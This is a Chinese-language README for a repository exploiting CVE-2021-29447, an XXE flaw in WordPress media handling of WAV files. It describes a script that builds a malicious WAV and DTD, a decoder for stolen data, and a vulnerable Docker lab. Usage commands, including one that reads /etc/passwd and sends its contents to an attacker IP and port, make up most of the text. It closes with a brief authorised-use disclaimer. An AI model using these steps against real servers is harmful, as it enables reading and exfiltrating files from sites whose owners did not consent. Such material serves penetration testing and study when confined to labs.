该存储库包含一个针对 CVE-2021-29447 的 exploit,这是 WordPress 5.7.0 及更早版本中存在的一个 XXE(XML 外部实体)漏洞。该漏洞存在于处理 WAV 文件的媒体库中,允许攻击者读取服务器上的任意文件。
| 文件 | 描述 |
|---|---|
CVE-2021-29447.sh | 生成恶意 WAV payload 和 DTD 文件的利用脚本 |
decode.php | 用于解码泄露数据的 PHP 脚本(base64 + zlib) |
docker-compose.yml | 用于测试的含漏洞 WordPress Docker 环境 |
docker-compose up -d
chmod +x CVE-2021-29447.sh
./CVE-2021-29447.sh -l <LHOST> -p <LPORT> -f <archivo_objetivo>
参数:
-l 攻击者 IP(LHOST)-p 攻击者端口(LPORT)-f 服务器上要读取的文件路径-h 显示帮助示例:
./CVE-2021-29447.sh -l 192.168.1.100 -p 4444 -f /etc/passwd
泄露的数据将以 base64 编码并使用 zlib 压缩。要解码它们:
php decode.php
该 exploit 的工作原理是在 WAV 文件的元数据中插入一个 XXE 外部实体。当 WordPress 处理该文件时,XML 解析器会解析该外部实体,导致服务器向攻击者的服务器发起 HTTP 请求,并将文件内容编码后放在 URL 中。
此代码仅用于教育和经授权的渗透测试目的。请勿在未经明确授权的系统上使用。